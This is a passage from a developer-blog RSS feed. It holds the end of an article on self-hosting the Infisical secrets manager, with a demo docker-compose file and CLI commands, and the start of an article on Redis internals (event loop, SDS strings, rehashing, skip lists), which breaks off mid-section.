&lt;td&gt;CLI (&lt;code&gt;doppler run&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;CLI (&lt;code&gt;infisical run&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Blind Indexing&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;Proprietary&lt;/td&gt;
&lt;td&gt;Yes (HKDF + HMAC-SHA256)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Dynamic Secrets&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Limited&lt;/td&gt;
&lt;td&gt;Yes (SQL, IAM, Redis, RabbitMQ)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Pricing&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Free&lt;/td&gt;
&lt;td&gt;Heavy infrastructure cost&lt;/td&gt;
&lt;td&gt;$18 / user / month&lt;/td&gt;
&lt;td&gt;Free self-hosted / Cloud tiers&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  Self-hosting Infisical in two minutes
&lt;/h2&gt;

&lt;p&gt;Because Infisical relies on standard components (PostgreSQL and Redis), running a self-hosted instance requires only a lightweight &lt;code&gt;docker-compose.yml&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;version&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"3.8"&lt;/span&gt;

&lt;span class="na"&gt;services&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;db&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;image&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;postgres:16-alpine&lt;/span&gt;
    &lt;span class="na"&gt;environment&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
      &lt;span class="na"&gt;POSTGRES_USER&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;infisical&lt;/span&gt;
      &lt;span class="na"&gt;POSTGRES_PASSWORD&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;postgrespassword&lt;/span&gt;
      &lt;span class="na"&gt;POSTGRES_DB&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;infisical&lt;/span&gt;
    &lt;span class="na"&gt;volumes&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
      &lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="s"&gt;pgdata:/var/lib/postgresql/data&lt;/span&gt;

  &lt;span class="na"&gt;redis&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;image&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;redis:7-alpine&lt;/span&gt;
    &lt;span class="na"&gt;volumes&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
      &lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="s"&gt;redisdata:/data&lt;/span&gt;

  &lt;span class="na"&gt;backend&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;image&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;infisical/infisical:latest&lt;/span&gt;
    &lt;span class="na"&gt;depends_on&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
      &lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="s"&gt;db&lt;/span&gt;
      &lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="s"&gt;redis&lt;/span&gt;
    &lt;span class="na"&gt;ports&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
      &lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="s2"&gt;"8080:80"&lt;/span&gt;
    &lt;span class="na"&gt;environment&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
      &lt;span class="na"&gt;NODE_ENV&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;production&lt;/span&gt;
      &lt;span class="na"&gt;DB_CONNECTION_URI&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;postgresql://infisical:postgrespassword@db:5432/infisical&lt;/span&gt;
      &lt;span class="na"&gt;REDIS_URL&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;redis://redis:6379&lt;/span&gt;
      &lt;span class="na"&gt;ENCRYPTION_KEY&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef&lt;/span&gt;
      &lt;span class="na"&gt;AUTH_SECRET&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;supersecretjwtkeymustbe32byteslong&lt;/span&gt;
      &lt;span class="na"&gt;SITE_URL&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;http://localhost:8080&lt;/span&gt;

&lt;span class="na"&gt;volumes&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;pgdata&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;redisdata&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Once running, install the CLI via your package manager and link your local directory:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Example with npm / homebrew / binary:&lt;/span&gt;
npm install -g @infisical/cli

&lt;span class="c"&gt;# Login and link project&lt;/span&gt;
infisical login
infisical init

&lt;span class="c"&gt;# Run any application with injected variables&lt;/span&gt;
infisical run -- npm run start
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Boundaries and realistic trade-offs
&lt;/h2&gt;

&lt;p&gt;While runtime injection eliminates &lt;code&gt;.env&lt;/code&gt; files on disk, developers should recognize the limits of process memory isolation:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Child process inheritance&lt;/strong&gt;: Any subprocess spawned by your application inherits the parent process environment by default. If your Node app runs &lt;code&gt;exec("bash script.sh")&lt;/code&gt;, the child script receives the same secrets unless you explicitly sanitize the environment block.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Process inspection via &lt;code&gt;/proc&lt;/code&gt;&lt;/strong&gt;: On Linux, a user with root access or the same UID can inspect the environment of running processes by reading &lt;code&gt;/proc/&amp;lt;pid&amp;gt;/environ&lt;/code&gt;. Moving secrets to RAM protects against filesystem leaks and accidental repository commits, but not against an attacker who has root access to the host.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Application logging&lt;/strong&gt;: If your error logging framework dumps &lt;code&gt;process.env&lt;/code&gt; on unhandled exceptions, the secrets will end up in your Datadog, Sentry, or CloudWatch logs. Runtime injection prevents storage leaks, but application-level data sanitization remains necessary.&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  Key takeaways
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Zero disk footprint&lt;/strong&gt;: &lt;code&gt;infisical run&lt;/code&gt; uses the POSIX &lt;code&gt;execve&lt;/code&gt; system call to inject decrypted credentials directly into the child process virtual memory block, avoiding &lt;code&gt;.env&lt;/code&gt; disk writes.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Multilayer cryptographic hierarchy&lt;/strong&gt;: Secret records are encrypted with AES-256-GCM using project keys, which are wrapped by an internal KMS key and an operator root key. A leaked PostgreSQL dump yields no plaintext data.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Blind indexing&lt;/strong&gt;: Searching encrypted records uses HKDF key derivation and HMAC-SHA256, allowing fast B-tree index lookups without decrypting rows or revealing key names.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Self-destructing credentials&lt;/strong&gt;: Dynamic secrets create ephemeral database roles with database-enforced &lt;code&gt;VALID UNTIL&lt;/code&gt; timestamps, backed by BullMQ queue workers for cleanup.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Native Kubernetes integration&lt;/strong&gt;: The Go operator synchronizes secrets directly to native Kubernetes &lt;code&gt;Secret&lt;/code&gt; objects, allowing pods to consume environment variables without custom SDK dependencies.&lt;/li&gt;
&lt;/ol&gt;

</description>
      <category>opensource</category>
      <category>security</category>
      <category>devops</category>
      <category>architecture</category>
    </item>
    <item>
      <title>What Actually Happens Inside Redis: The Single-Threaded Event Loop, Memory Internals, and 100k QPS</title>
      <dc:creator>Syed Anzar</dc:creator>
      <pubDate>Thu, 12 Nov 2026 12:56:33 +0000</pubDate>
      <link>https://dev.to/syed_anzar/what-actually-happens-inside-redis-the-single-threaded-event-loop-memory-internals-and-100k-qps-35ij</link>
      <guid>https://dev.to/syed_anzar/what-actually-happens-inside-redis-the-single-threaded-event-loop-memory-internals-and-100k-qps-35ij</guid>
      <description>&lt;p&gt;Modern production servers routinely pack 64 or 128 CPU cores and hundreds of gigabytes of RAM. Yet one of the fastest pieces of infrastructure in almost every tech stack, handling upwards of 100,000 operations per second per instance with sub-millisecond p99 latency, runs its core execution engine on exactly one CPU core.&lt;/p&gt;

&lt;p&gt;That tool is Redis.&lt;/p&gt;

&lt;p&gt;When junior developers first learn that Redis is fundamentally single-threaded for command execution, the immediate reaction is disbelief. Why would a database deliberately ignore 63 out of 64 available cores? Isn't multithreading the canonical path to high throughput?&lt;/p&gt;

&lt;p&gt;The answer reveals a fundamental truth about computer architecture that high-level web frameworks hide: &lt;strong&gt;when your data lives entirely in RAM, CPU cycles are rarely your bottleneck. Memory access latency, lock contention, and network I/O are.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Let's open the hood and trace what actually happens inside Redis from the moment a TCP packet hits the network interface to the exact byte manipulation in physical memory.&lt;/p&gt;




&lt;h2&gt;
  
  
  1. The Real Bottleneck: Why Multi-Threading Destroys In-Memory Latency
&lt;/h2&gt;

&lt;p&gt;In a traditional disk-backed relational database like PostgreSQL or MySQL, a query often waits for disk blocks to load from NVMe storage into the buffer pool. Because disk reads take microseconds or milliseconds, the database engine spawns worker threads or processes. While Thread A waits on disk I/O, the operating system context-switches to Thread B to perform useful work.&lt;/p&gt;

&lt;p&gt;Redis does not wait on disk for read operations. Every key, string, hash, and set lives entirely in physical memory. &lt;/p&gt;

&lt;p&gt;Accessing an L1/L2 CPU cache line takes roughly 1 to 4 nanoseconds. Accessing main system memory (DRAM) takes roughly 50 to 100 nanoseconds. In contrast, an operating system thread context switch costs between 1,000 and 3,000 nanoseconds, not counting the devastating hidden penalty of CPU cache invalidation (flushing L1/L2 instruction and data caches).&lt;/p&gt;

&lt;p&gt;Now consider what happens if you make an in-memory key-value store multithreaded:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Lock Contention:&lt;/strong&gt; To ensure thread safety across concurrent reads and writes to shared hash tables, every thread must acquire mutexes, read-write locks, or spinlocks. Under high concurrency, threads spend more time spinning or sleeping on lock acquisitions than doing real work.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;CPU Cache Line Bouncing:&lt;/strong&gt; When two threads running on different CPU cores read and write to adjacent memory addresses in the same 64-byte cache line, the CPU's cache coherence protocol (such as MESI) must continuously invalidate and sync cache lines across physical CPU sockets over the interconnect.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Context Switching Overhead:&lt;/strong&gt; The OS scheduler spends measurable CPU overhead swapping thread execution registers.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;By choosing a single-threaded execution model for command processing, Salvatore Sanfilippo (antirez) eliminated all three costs at once. Redis has zero mutex overhead on data access, zero lock contention, zero thread synchronization bugs, and zero context switching within its command execution path.&lt;/p&gt;




&lt;h2&gt;
  
  
  2. The Heart of Redis: The Reactor Pattern and &lt;code&gt;ae.c&lt;/code&gt;
&lt;/h2&gt;

&lt;p&gt;If Redis only uses one execution thread, how does it service 10,000 concurrent client connections without blocking on slow networks?&lt;/p&gt;

&lt;p&gt;The answer is the &lt;strong&gt;Reactor Pattern&lt;/strong&gt;, implemented through Redis's custom, minimalist event library called &lt;code&gt;ae&lt;/code&gt; (contained in &lt;code&gt;src/ae.c&lt;/code&gt;).&lt;/p&gt;

&lt;p&gt;Instead of giving each client connection its own thread, Redis registers non-blocking socket file descriptors with the operating system's native I/O multiplexing API:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Linux:&lt;/strong&gt; &lt;code&gt;epoll&lt;/code&gt; (&lt;code&gt;src/ae_epoll.c&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;macOS/BSD:&lt;/strong&gt; &lt;code&gt;kqueue&lt;/code&gt; (&lt;code&gt;src/ae_kqueue.c&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;POSIX fallback:&lt;/strong&gt; &lt;code&gt;select&lt;/code&gt; (&lt;code&gt;src/ae_select.c&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  The Event Loop Data Structure
&lt;/h3&gt;

&lt;p&gt;At startup, &lt;code&gt;initServer()&lt;/code&gt; in &lt;code&gt;src/server.c&lt;/code&gt; initializes the main event loop structure:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="k"&gt;typedef&lt;/span&gt; &lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="nf"&gt;aeEventLoop&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;maxfd&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;                      &lt;span class="cm"&gt;/* Highest file descriptor currently registered */&lt;/span&gt;
    &lt;span class="kt"&gt;long&lt;/span&gt; &lt;span class="kt"&gt;long&lt;/span&gt; &lt;span class="n"&gt;timeEventNextId&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;aeFileEvent&lt;/span&gt; &lt;span class="n"&gt;events&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;AE_SETSIZE&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="cm"&gt;/* Registered file events table */&lt;/span&gt;
    &lt;span class="n"&gt;aeFiredEvent&lt;/span&gt; &lt;span class="n"&gt;fired&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;AE_SETSIZE&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="cm"&gt;/* Events ready for processing */&lt;/span&gt;
    &lt;span class="n"&gt;aeTimeEvent&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;timeEventHead&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;     &lt;span class="cm"&gt;/* Linked list of timed cron events */&lt;/span&gt;
    &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;stop&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;apidata&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;                  &lt;span class="cm"&gt;/* Polling API specific data (e.g. epoll state) */&lt;/span&gt;
    &lt;span class="n"&gt;aeBeforeSleepProc&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;beforesleep&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="cm"&gt;/* Hook executed right before polling */&lt;/span&gt;
    &lt;span class="n"&gt;aeBeforeSleepProc&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;aftersleep&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;  &lt;span class="cm"&gt;/* Hook executed immediately after waking */&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="n"&gt;aeEventLoop&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Redis creates an &lt;code&gt;epoll&lt;/code&gt; instance using &lt;code&gt;epoll_create1()&lt;/code&gt; and sets its listening TCP socket (port 6379) to non-blocking mode (&lt;code&gt;O_NONBLOCK&lt;/code&gt;). It then registers an &lt;code&gt;EPOLLIN&lt;/code&gt; event on the listening socket with the callback &lt;code&gt;acceptTcpHandler&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Lifecycle of a Request
&lt;/h3&gt;

&lt;p&gt;The entire engine runs inside a single &lt;code&gt;while&lt;/code&gt; loop in &lt;code&gt;aeMain()&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;+-------------------------------------------------------------+
|                           aeMain()                          |
|  +-------------------------------------------------------+  |
|  | 1. Execute beforesleep() callbacks                    |  |
|  |    (Flush client output buffers, write AOF buffer)    |  |
|  +-------------------------------------------------------+  |
|                             |                               |
|                             v                               |
|  +-------------------------------------------------------+  |
|  | 2. Call aeApiPoll() -&amp;gt; epoll_wait()                   |  |
|  |    (Kernel returns array of ready file descriptors)   |  |
|  +-------------------------------------------------------+  |
|                             |                               |
|                             v                               |
|  +-------------------------------------------------------+  |
|  | 3. Iterate over fired events:                         |  |
|  |    - Read socket into client query buffer             |  |
|  |    - Parse RESP protocol command                      |  |
|  |    - Execute command in memory dict                   |  |
|  |    - Queue response into client reply buffer          |  |
|  +-------------------------------------------------------+  |
|                             |                               |
|                             v                               |
|  +-------------------------------------------------------+  |
|  | 4. Process time events (serverCron: TTL expiry, etc)  |  |
|  +-------------------------------------------------------+  |
+-------------------------------------------------------------+
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;beforesleep&lt;/code&gt;&lt;/strong&gt;: Before blocking for new network events, Redis flushes pending client write buffers to sockets and flushes append-only file (AOF) buffers to disk.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;aeApiPoll&lt;/code&gt;&lt;/strong&gt;: Redis invokes &lt;code&gt;epoll_wait()&lt;/code&gt;. The kernel sleeps the thread until one or more sockets have data ready to read or write. If a client sends a command, &lt;code&gt;epoll_wait()&lt;/code&gt; returns immediately with the active file descriptors.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Execution&lt;/strong&gt;: For each ready descriptor, Redis calls &lt;code&gt;readQueryFromClient()&lt;/code&gt;, reads the network bytes into a memory buffer, parses the Redis Serialization Protocol (RESP), dispatches to &lt;code&gt;processCommand()&lt;/code&gt;, executes the command against the in-memory database, and stages the formatted response in the client's output buffer.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;serverCron&lt;/code&gt;&lt;/strong&gt;: Once file events are handled, Redis checks its time event queue to execute maintenance tasks like active key expiration, progressive rehashing, and cluster health checks.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Because memory lookups complete in fractions of a microsecond, Redis processes thousands of commands per event loop tick without leaving the CPU cache.&lt;/p&gt;




&lt;h2&gt;
  
  
  3. In-Memory Data Structures: Engineered for Zero Wasted Motion
&lt;/h2&gt;

&lt;p&gt;Redis does not use standard C standard library data structures. Standard C strings and generic hash tables are far too slow and memory-inefficient for high-performance memory operations. Redis engineers its own low-level structures designed around CPU cache lines.&lt;/p&gt;

&lt;h3&gt;
  
  
  A. Simple Dynamic Strings (SDS)
&lt;/h3&gt;

&lt;p&gt;In standard C, strings are null-terminated arrays of characters (&lt;code&gt;char*&lt;/code&gt;). To find the length of a C string, the program must scan every character until it hits &lt;code&gt;\0&lt;/code&gt;, an $O(N)$ operation. Furthermore, standard C strings cannot contain binary data (like an image or serialized protobuf) because a zero byte is misinterpreted as the terminator.&lt;/p&gt;

&lt;p&gt;Redis wraps all strings in &lt;strong&gt;SDS (Simple Dynamic Strings)&lt;/strong&gt; (&lt;code&gt;src/sds.h&lt;/code&gt;):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="nf"&gt;__attribute__&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;__packed__&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;sdshdr8&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kt"&gt;uint8_t&lt;/span&gt; &lt;span class="n"&gt;len&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;         &lt;span class="cm"&gt;/* Used bytes (string length) */&lt;/span&gt;
    &lt;span class="kt"&gt;uint8_t&lt;/span&gt; &lt;span class="n"&gt;alloc&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;       &lt;span class="cm"&gt;/* Total allocated bytes excluding header and null */&lt;/span&gt;
    &lt;span class="kt"&gt;unsigned&lt;/span&gt; &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="n"&gt;flags&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="cm"&gt;/* 3 bits for type, 5 bits unused */&lt;/span&gt;
    &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;          &lt;span class="cm"&gt;/* Actual character payload */&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Why this design is brilliant:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;$O(1)$ Length Checks:&lt;/strong&gt; The string length is stored directly in the &lt;code&gt;len&lt;/code&gt; field. &lt;code&gt;STRLEN&lt;/code&gt; is instant.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Binary Safe:&lt;/strong&gt; Strings can contain arbitrary bytes, including null bytes, because length is determined by &lt;code&gt;len&lt;/code&gt;, not &lt;code&gt;\0&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Zero Overhead Headers:&lt;/strong&gt; Redis defines multiple headers (&lt;code&gt;sdshdr8&lt;/code&gt;, &lt;code&gt;sdshdr16&lt;/code&gt;, &lt;code&gt;sdshdr32&lt;/code&gt;, &lt;code&gt;sdshdr64&lt;/code&gt;). For short strings (under 256 bytes), the entire header is only 3 bytes!&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;CPU Cache Locality:&lt;/strong&gt; Notice &lt;code&gt;__attribute__ ((__packed__))&lt;/code&gt;. The header immediately precedes the buffer &lt;code&gt;buf&lt;/code&gt;. A pointer to &lt;code&gt;sds&lt;/code&gt; points directly to &lt;code&gt;buf[0]&lt;/code&gt;, meaning SDS can be passed directly to standard C library functions (&lt;code&gt;printf&lt;/code&gt;, &lt;code&gt;strcmp&lt;/code&gt;) while allowing Redis to read the header by simply indexing backwards in memory (&lt;code&gt;sds[-1]&lt;/code&gt;).&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  B. Dict and Progressive Rehashing (&lt;code&gt;src/dict.c&lt;/code&gt;)
&lt;/h3&gt;

&lt;p&gt;The primary Redis keyspace is a dictionary (hash table). In naive hash table implementations, when the load factor exceeds a threshold, the table allocates a bucket array twice as large and rehashes all existing keys in a tight loop.&lt;/p&gt;

&lt;p&gt;If you have 20 million keys in Redis, rehashing all 20 million keys at once would lock the single thread for 300 to 500 milliseconds. Every client connected to Redis would experience a timeout spike.&lt;/p&gt;

&lt;p&gt;To prevent this, Redis implements &lt;strong&gt;Progressive Rehashing&lt;/strong&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="k"&gt;typedef&lt;/span&gt; &lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="nf"&gt;dict&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;dictType&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;type&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;dictEntry&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;ht_table&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;  &lt;span class="cm"&gt;/* Two hash tables: ht[0] (main) and ht[1] (rehashing) */&lt;/span&gt;
    &lt;span class="kt"&gt;unsigned&lt;/span&gt; &lt;span class="kt"&gt;long&lt;/span&gt; &lt;span class="n"&gt;ht_used&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="kt"&gt;long&lt;/span&gt; &lt;span class="n"&gt;rehashidx&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;           &lt;span class="cm"&gt;/* Rehashing progress: -1 if not rehashing, otherwise bucket index */&lt;/span&gt;
    &lt;span class="cm"&gt;/* ... */&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="n"&gt;dict&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When a resize is triggered:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Redis allocates a new table &lt;code&gt;ht_table[1]&lt;/code&gt; with the new capacity (e.g. double the size).&lt;/li&gt;
&lt;li&gt;It sets &lt;code&gt;rehashidx = 0&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;During normal operation:&lt;/strong&gt; Every time a client executes a read, write, or delete (&lt;code&gt;dictAdd&lt;/code&gt;, &lt;code&gt;dictFind&lt;/code&gt;, &lt;code&gt;dictDelete&lt;/code&gt;), Redis migrates exactly one bucket from &lt;code&gt;ht_table[0]&lt;/code&gt; to &lt;code&gt;ht_table[1]&lt;/code&gt; before servicing the command.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;During background idle time:&lt;/strong&gt; Inside &lt;code&gt;serverCron()&lt;/code&gt;, Redis spends up to 1 millisecond per tick migrating remaining buckets.&lt;/li&gt;
&lt;li&gt;Once all buckets are migrated, &lt;code&gt;ht_table[1]&lt;/code&gt; becomes &lt;code&gt;ht_table[0]&lt;/code&gt;, the old table is freed, and &lt;code&gt;rehashidx&lt;/code&gt; resets to &lt;code&gt;-1&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Through progressive rehashing, the computational cost of resizing millions of keys is amortized over thousands of individual requests. No single client ever feels the freeze.&lt;/p&gt;

&lt;h3&gt;
  
  
  C. Skip Lists for Sorted Sets (&lt;code&gt;src/t_zset.c&lt;/code&gt;)
&lt;/h3&gt;

&lt;p&gt;When developers need sorted data structures in database design, textbooks prescribe self-balancing binary search trees (Red-Black trees or AVL trees).&lt;/p&gt;

&lt;p&gt;Redis rejects Red-Black trees for Sorted Sets (&lt;code&gt;ZSET&lt;/code&gt;) and instead uses &lt;strong&gt;Skip Lists&lt;/strong&gt; (&lt;code&gt;zskiplist&lt;/code&gt;):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Level 3:  [1] ------------------------------&amp;gt; [9] -&amp;gt; NULL
Level 2:  [1] -------------&amp;gt; [5] -----------&amp;gt; [9] -&amp;gt; NULL
Level 1:  [1] ------&amp;gt; [3] -&amp;gt; [5] ------&amp;gt; [7] -&amp;gt; [9] -&amp;gt; NULL
Level 0:  [1] -&amp;gt; [2]-&amp;gt;[3] -&amp;gt; [5] -&amp;gt; [6]-&amp;gt;[7] -&amp;gt; [9] -&amp;gt; NULL
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



